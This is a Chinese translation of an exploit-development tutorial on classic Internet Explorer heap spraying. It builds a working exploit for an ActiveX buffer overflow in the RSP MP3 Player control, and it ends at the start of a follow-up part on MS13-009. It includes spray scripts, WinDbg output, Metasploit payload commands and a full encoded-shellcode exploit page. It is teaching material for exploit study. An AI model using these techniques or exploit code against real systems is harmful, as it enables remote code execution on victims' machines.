欢迎来到堆喷射教程的第一部分. 这部分我会介绍IE下典型的堆喷射技术, 第二部分会介绍精确喷射和IE8下的UAF漏洞. 值得一提的是, 堆喷射仅仅是一种payload传递技术, 它不能绕过任何漏洞缓解技术. 大多时候对浏览器的漏洞(或者flash,pdf,office)利用会使用这项技术. 缓冲区溢出往往依赖这样的事实：们能够在栈(堆)上分配内存并写入shellcode. 但是像浏览器或ActiveX的漏洞利用你可分配内存更稳定, 不担心坏字符.

浏览器的漏洞利用我比较纠结用immunity还是Windbg调试器. Immunity是一个可视化的调试器, 使用起来更舒适和方便. 但是Windbg更快, 更稳定. 它有些特性很实用(最明显的是实用javascript断点). 我把选择权留给你. Windbg的优势在堆喷射教程的第二部分会更明显.值得一提的是, 用Windbg之前需要先设置符号表. 好, 开始我们的漏洞之旅!

我将用"RSP MP3 Player"介绍这项技术. 之前的一个漏洞利用程序在这里. 当你分析浏览器的漏洞, 常常需要用到不同的版本. 安装IE-Collection即可, 下载. 更新你系统的浏览器到最新版本然后安装IE-Collection.

调试机器：Windows XP SP3 & IE7

漏洞软件：下载

介绍

首先我想给满分 corelanc0d3r所做的工作. “堆喷射揭秘”是非常好并且很有深度的教程, 解释了堆喷射用于payload传递的细节. 我很抱歉使用了 corelanc0d3r 之前做的一些工作, 但我有我的目的：用一个实际的漏洞来解释堆喷射.

我们知道程序栈可利用的空间是有限的. 堆管理器可以动态的分配很大一块内存, 例如程序需要存储临时定义的数据. 堆十分复杂, 我不会解释所有的细节. 但我会给你足够的信息帮助你了解它. 

关于堆分配器有几件事我们需要知道:

(1)由于内存动态分配和释放, 会产生堆碎片. 

(2)堆内存块释放, 会由前端或后端分配器回收(依赖操作系统). 分配器类似于缓存服务那样优化内存块分配. 像之前提到堆分配和释放产生堆碎片(=bad), 为了较少堆碎片, 新分配一块内存时, 堆分配器会直接返回之前释放的一块同样大小的内存. 从而减少了新分配的次数(=good). 

(3)虽然堆内存是动态分配的, 但是分配器往往会连续的分配内存块 (为了减少堆碎片)这意味着从攻击者的角度来看堆是确定的. 连续的分配内存我们就可以在某个可预测的地址上布置我们的数据.

“堆喷射”概念第一次由SkyLined在2004年提出. 当时被用于IE浏览器iframe 缓冲区溢出漏洞利用. 这个通用的技术已经被用于大多数浏览器, IE7, firefox 3.6.24, Opera 11.60. 精确堆喷射将在第二部分介绍.

考虑一下这种情况. 如果一个漏洞(可以控制EIP, UAF, 等等)允许写任意4字节. 我们可以在堆上分配一系列内存块(包含shellcode), 然后利用漏洞实现4字节改写EIP, 就可以跳去执行堆上的代码. Javascript可以直接在堆上分配字符串, 通过巧妙的布置堆我们可以exploit任何的浏览器. 现在主要问题是如何实现稳定的堆分配. 下图应该能给你一些启发:



这足以提起你的兴趣. 首先我们了解堆分配的过程, 接下来我们用它实现ActiveX的漏洞利用.

喷射shellcode块

之前提到, 堆喷射是一种payload传递技术, 它充分利用了javascript的特性. 先让我们在堆上分配一些简单字符串.

<html>
<body>
<script language='javascript'>
 
    var myvar = unescape(     
    '%u7546%u7a7a%u5379'+   // ASCII     
    '%u6365%u7275%u7469'+   // FuzzySecurity     
    '%u9079');              // 
 
    alert("allocation done");
 
</script>
</body>
</html>


下图可以看到我们成功在堆上分配ASCII字符串. 记得用unescape否则我们的字符串将会是UNICODE.

s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc




目前为止还不错, 但记住我们的目标是在堆上连续的分配NOP+Shellcode块. 稍微改变一下JS脚本如下：

<html>
<body>
<script language='javascript'>
  
    size = 0x3E8;  // 1000-bytes
    NopSlide = ''; // Initially set to be empty
  
    var Shellcode = unescape(     
    '%u7546%u7a7a%u5379'+   // ASCII     
    '%u6365%u7275%u7469'+   // FuzzySecurity     
    '%u9079');              // 
     
    // Keep filling with nops till we reach 1000-bytes
    for (c = 0; c < size; c++){ 
    NopSlide += unescape('%u9090%u9090');}
    // Subtract size of shelccode
    NopSlide = NopSlide.substring(0,size - Shellcode.length);
     
    // Spray our payload 50 times
    var memory = new Array();
    for (i = 0; i < 50; i++){
    memory[i] = NopSlide + Shellcode;}
  
    alert("allocation done");
  
</script>
</body>
</html>


本质上来讲我们正在创建一个1000字节payload块, 重复51次. 下面是块的结构:

"\x90"*(1000-len(shellcode)) + shellcode

是时候用Windbg观察分配的情况了. 下面是51个ASCII字符串分配结果. 如果跟踪字符串的分配你会注意到开始的时候分配存在空隙, 但是到后面的话基本上就是连续的.

0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4b846  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312f0fe  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:

0:013> d 02a4c04e
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c05e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c06e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c07e  00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01  ..........Y.H...
02a4c08e  28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90  (...............
02a4c09e  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0ae  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0be  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!

0:013> d 03130106-20
031300e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
031300f6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-1000
0312f0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f0f6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312f106  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312f116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-2000
0312e0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312e106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-3000
0312d0e6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312d0f6  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312d106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................


很好, 不可否认的是我们很幸运得到连续的分配. 接下来需要做什么呢. 

(1)  分配更多的数据填充更多的堆空间(覆写更高的内存地址)

(2)  改变块大小以适应BSTR对象, 是分配更稳定和连续

下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有IE7以下的版本测试结果一致.

<html>
<body>
<script language='javascript'>
 
    var Shellcode = unescape(     
    '%u7546%u7a7a%u5379'+   // ASCII 
    '%u6365%u7275%u7469'+   // FuzzySecurity     
    '%u9079');              //        
    
    var NopSlide = unescape('%u9090%u9090');
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    alert("allocation done");
 
</script>
</body>
</html>


这个脚本喷射更大的内存块 0x4000(=262144字节=0.25mb), 重复喷喷射500次(=125mb). 考虑到我们的shellcode不太会大于1000字节, 这意味着我们有99.997%的概率命中NOP’s. 这样使得堆喷射更稳定. 让我们在Windbg观察堆喷射：

0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010  46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20  FuzzySecurity.. 
030ca75c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03b4ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03c6ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03cfffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03d8ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03e1ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03eaffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03f3ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
1521ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
152affee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1533ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
153cffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1545ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
154effee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1557ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...


!peb看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆). 

另外你可以执行"!heap -stat" 看看已经提交的字节数

0:014> !peb
PEB at 7ffd8000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00251e90
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
    Ldr.InLoadOrderModuleList:           00251ec0 . 00255918
    Ldr.InMemoryOrderModuleList:         00251ec8 . 00255920
            Base TimeStamp                     Module
          400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
        7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
        7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
        77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
        77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
        767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
        77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
        76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
        76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
    SubSystemData:     00000000
    ProcessHeap:       00150000
    ProcessParameters: 00020000
    CurrentDirectory:  'C:\Documents and Settings\Administrator\Desktop\'
    WindowTitle:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    ImageFile:    'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    CommandLine:  'about:home'
[...Snip...]


让我们打印堆分配数据. 我们可以看到

98.63% 堆块正在使用

0:014> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f4 - f9fc180  (98.63)
    3fff8 3 - bffe8  (0.30)
    1fff8 4 - 7ffe0  (0.20)
    7ffd0 1 - 7ffd0  (0.20)
    7ff8 b - 57fa8  (0.14)
    fff8 5 - 4ffd8  (0.12)
    1ff8 21 - 41ef8  (0.10)
    3ff8 d - 33f98  (0.08)
    ff8 f - ef88  (0.02)
    7f8 18 - bf40  (0.02)
    8fc1 1 - 8fc1  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fd0 1 - 7fd0  (0.01)
    7db4 1 - 7db4  (0.01)
    614 14 - 7990  (0.01)
    57e0 1 - 57e0  (0.01)
    20 208 - 4100  (0.01)
    5e4 b - 40cc  (0.01)
    4e4 c - 3ab0  (0.01)
    3980 1 - 3980  (0.01)
    
我们列出大小为0x7ffe0的块
0:014> !heap -flt s 7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03ad0018 fffc 0000  [0b]   03ad0020    7ffe0 - (busy VirtualAlloc)
        03bf0018 fffc fffc  [0b]   03bf0020    7ffe0 - (busy VirtualAlloc)
        03c80018 fffc fffc  [0b]   03c80020    7ffe0 - (busy VirtualAlloc)
        03d10018 fffc fffc  [0b]   03d10020    7ffe0 - (busy VirtualAlloc)
        03da0018 fffc fffc  [0b]   03da0020    7ffe0 - (busy VirtualAlloc)
        03e30018 fffc fffc  [0b]   03e30020    7ffe0 - (busy VirtualAlloc)
        03ec0018 fffc fffc  [0b]   03ec0020    7ffe0 - (busy VirtualAlloc)
        03f50018 fffc fffc  [0b]   03f50020    7ffe0 - (busy VirtualAlloc)
[...Snip...]
        15110018 fffc fffc  [0b]   15110020    7ffe0 - (busy VirtualAlloc)
        151a0018 fffc fffc  [0b]   151a0020    7ffe0 - (busy VirtualAlloc)
        15230018 fffc fffc  [0b]   15230020    7ffe0 - (busy VirtualAlloc)
        152c0018 fffc fffc  [0b]   152c0020    7ffe0 - (busy VirtualAlloc)
        15350018 fffc fffc  [0b]   15350020    7ffe0 - (busy VirtualAlloc)
        153e0018 fffc fffc  [0b]   153e0020    7ffe0 - (busy VirtualAlloc)
        15470018 fffc fffc  [0b]   15470020    7ffe0 - (busy VirtualAlloc)
        15500018 fffc fffc  [0b]   15500020    7ffe0 - (busy VirtualAlloc)


现在你可能会问告诉你自己：”这很酷, 但是有什么意义呢?”. 一般上如果我们有写任意4字节漏洞. 为了可靠, 我们从来不会用shellcode地址直接覆写指针(例如EIP). 在堆喷射中我们可以决定堆布局. 我们可以在堆中布置NOP’s+shellcode块. 由于某个可预测的地址会指向NOP’s, 所以我们可以用这个地址去覆写, 一旦程序能执行 到NOP’s, shellcode也会得到执行. 下面是通常我们使用的可预测地址, 在调试器看看这些地址的内容.

可预测的地址:

- 0x05050505
- 0x06060606
- 0x07070707
- ....


另外一个具有特殊意义的地址是0x0c0c0c0c, 第二部分将会解释.



0:014> d 04040404
04040404  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040414  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040424  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040434  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040444  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040454  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040464  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040474  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050525  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050535  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050545  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050555  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050565  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050575  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 06060606
06060606  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060616  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060626  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060636  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060646  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060656  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060666  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060676  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................


再次重申第一部分只讲典型的堆喷射, 精确喷射会在第二部分将. 为什么需要精确喷射？

(1)  我们需要处理DEP

(2)  我们正在利用UAF类漏洞

所有的准备工作完成, 是时候弹shell了.

崩溃重现

下载RSP MP3 Player 并安装. 转到rspmp3ocx320sw.ocx文件所在文件夹, 执行

regsvr32 rspmp3ocx320sw.ocx

注册.ocx控件. 你能看到一个弹框说文件已经成功注册. 接着下载 COMRaider.  COMRaider是一个很好用的ActiveX Fuzzer工具. 用这个工具可以轻易得到POC. 看看原始的exploit可以知道崩溃出现在OpenFile函数. 如果我们只Fuzzing这个函数会得到14个异常例子. 我没有花时间测试所有的文件,但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃!







如果我们看下面这个造成崩溃的文件, 可以看到它非常简单, 类似于exploit-db那个.

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>
 
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"
prototype  = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid     = "RSPMP3_320.RSPMP3"
argCount   = 1
 
arg1=String(1044, "A")
target.OpenFile arg1 
 
</script></job></package>


我花费了一点时间把它从vb转为js. 我们可以控制EIP或SEH .但这不是我们关心的. 我们想要从堆喷射中选一个可预测的指针覆写EIP.

<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
     
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
     
  </script>
</body>
</html>


调试结果如下：

eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000
eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010217
rspmp3ocx1+0x2fb7:
03ed2fb7 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:014> g
(87c.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000
eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
06060606 ??              ???
0:014> d 06060606
06060606  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060616  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060626  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060636  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060646  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060656  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060666  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060676  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????


可以看到EIP被覆盖为0x06060606.(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在0x06060606. 

Shellcode+游戏结束

我们首先生成一些可用的shellcode. 记得将shellcode编码为javascript小端字节序

root@bt:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 255
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Oww Snap!        yes       Messagebox Text (max 255 chars)
TITLE     b33f             yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083% ue204%uf6d7%ucd43 %u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3 b24%u3151%u74e0 %u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u 5288%uca3c%u8fa9 %u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u 4471%u214f%uce51 %ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u 7f28%uc24e%uab83 %u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c% ua5bb%ubc91%u5a4d %uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53% u02e7%u90cd%ucea2 %uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f% ue883%u2aa9%u8638 %u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba% u95a1%u4033%u7798 %ud011%u258a%u066a%u0a1d%u58c4%u820b 


好的, 整理下最后的POC. 增加一些注释和前面创建的堆喷射. 最终的堆喷射脚本如下：

<!--------------------------------------------------------------------------------
// Exploit: RSP MP3 Player OCX ActiveX Heap Spray                               //
// Author: b33f - http://www.fuzzysecurity.com/                                 //
// OS: Tested on XP PRO SP3                                                     //
// Browser: IE 7.00                                                             //
// Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/  //
//           16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip          //
//------------------------------------------------------------------------------//
// This exploit was created for Part 8 of my Exploit Development tutorial       //
// series => http://www.fuzzysecurity.com/tutorials/expDev/8.html               //
--------------------------------------------------------------------------------->
 
<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
   
    var Shellcode = unescape(     
    '%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc08 3%ue204%uf6d7%ucd43'+     
    '%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9 %u3b24%u3151%u74e0'+     
    '%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550 %u5288%uca3c%u8fa9'+     
    '%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab %u4471%u214f%uce51'+     
    '%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc %u7f28%uc24e%uab83'+     
    '%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c %ua5bb%ubc91%u5a4d'+     
    '%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f5 3%u02e7%u90cd%ucea2'+     
    '%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f %ue883%u2aa9%u8638'+     
    '%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19b a%u95a1%u4033%u7798'+     
    '%ud011%u258a%u066a%u0a1d%u58c4%u820b');        
    
    var NopSlide = unescape('%u9090%u9090'); 
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    // Trigger crash => EIP = 0x06060606
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
     
  </script>
</body>
</html>







  
  
  Welcome file
  





  第九部分：堆喷射[第二章：UAF]

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是用户层的最后一篇。点击查看原文。


欢迎回到堆喷射系列两部分教程的第二部分。本文会在IE8上完成精准的堆喷射。在这两种基本情形下你需要实现严格而精准的堆喷射：


	你需要处理DEP，这种情况你需要重定向执行流到ROP链的起始

	利用UAF漏洞需要满足虚表（Vtable）方法的条件



我想找出一个案例来同时处理这两种情况，让你痛并快乐着。然而大部分这种漏洞本身都相当复杂，不适合也不需要作为初学者的导读内容。这里需要澄清两件事。首先就是熟能生巧，找到漏洞，将他们拆分，疯狂打脸。然后加把劲，少挨几个耳光并继续前行。其次本教程并不会聚焦于漏洞的分析，本教程旨在描摹你在编写exp是会遇到的障碍以及教会你如何去克服它们。

今天我们来看看MS13-009， 你可以在这里找到对应的metasploit模块here。我也附加了一些阅读材料的链接在下面，我强烈推荐你阅读以下，如果你想要对这个课题更加了解的话。

Debugging Machine：

Windows XP SP3 with IE8

Links:

Exploit writing tutorial part 11 : Heap Spraying Demystified (corelan) - here

Heap Feng Shui in JavaScript (Alexander Sotirov) - here

Post-mortem Analysis of a Use-After-Free Vulnerability (Exploit-Monday) - here

Heap spraying in Internet Explorer with rop nops (GreyHatHacker) - here

CVE-2013-0025 MS13-009 IE SLayouRun (Chinese analysis of ms13-009, you will probably need to load this from the google cache) - here

介绍

